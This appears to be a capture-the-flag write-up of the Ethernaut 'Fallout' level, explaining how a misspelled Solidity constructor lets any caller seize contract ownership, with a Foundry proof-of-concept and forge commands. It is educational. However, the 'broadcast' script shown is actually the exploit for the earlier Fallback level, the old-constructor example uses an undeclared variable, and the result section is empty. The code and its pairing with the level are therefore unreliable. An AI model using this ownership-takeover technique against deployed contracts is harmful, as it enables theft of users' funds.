We are asked to claim ownership of a contract whose code is provided as such:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
Concept
The concept being taught here is about constructors.
Constructors are unique functions that run once during the contract's deployment and never again. They cannot be invoked by external or internal users after deployment and are solely used to initialize the contract's state.
Prior to Solidity version 0.4.21, the syntax for defining constructors was slightly different. To create a constructor, you had to define a function with the same name as the contract itself. Here's an example of how it looked:
pragma solidity 0.4.21;
contract older {
uint randomvar;
function older (uint _rvar) public {
rvar = _rvar;
}
}
This approach can lead to security vulnerabilities, which we will explore shortly.
Solidity 0.4.22 and Above
In newer versions of Solidity, you can no longer use the contract's name to define a constructor. Instead, you must use the constructor
keyword, as shown below:
pragma solidity 0.4.22;
contract NewCon {
uint rVar;
// Constructor to initialize randomVar
constructor (uint _rVar) public {
rVar = _rVar;
}
}
When we examine the vulnerable code for this level, we'll notice a function with a name that closely resembles that of the contract, though it is not identical. Based on the comments above the function, it appears to be intended as a constructor.
// intended constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
When invoked, this function changes the ownership to the address of msg.sender
and allocates funds for the owner based on the msg.value
sent with the transaction. Our primary focus here is the ownership aspect.
It's important to highlight that the constructor's name is misspelled. If the Solidity version had been less than 0.4.22 and if this function had been named Fallout
, it would have acted as a constructor and could not have been called.
However, due to the misspelling, this function behaves like any other function. Given its public
visibility, it can be called by any external user or by any function within the contract. As a result, whoever calls this function will become the new owner of the contract.
Proof-Of-Concept
Given the mistyped constructor, it is now simply a function that can be called. If it were a constructor it would’ve been impossible to call it. Our test script and command will look like this:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../original-contracts/level2.sol";
import "../lib/forge-std/src/Test.sol";
contract POC is Test{
Fallout level2 = Fallout(0x7f1b98e68F06ED804c88Fa7bAe5bbC819272E675);
function test() external{
vm.startBroadcast();
level2.Fal1out();
vm.stopBroadcast();
}
}
Also, to run the forge test you will require the SafeMath library, to download the same, run the following command in your directory:
npm install @openzeppelin/contracts@3.4.0
Command to run the test:
forge test --match-path test/test2.sol -vvvv
Result:
Our script to broadcast this attack to the Sepolia network will look like this:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../lib/forge-std/src/Script.sol";
import "../original-contracts/script1.sol";
contract POC is Script{
Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);
function run() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).call{value: 1 wei}("");
level1.owner();
level1.withdraw();
vm.stopBroadcast();
}
}
Command:
forge script ./script/script2.sol --private-key $PKEY --broadcast -vvvv --rpc-url $RPC_URL
After we become the new owner, we can proceed to submit the instance to complete the level.
The code for this level is available at the github repo.
Rubixi happened to fall victim to this very attack vector when an actor was able to claim ownership and steal funds from them.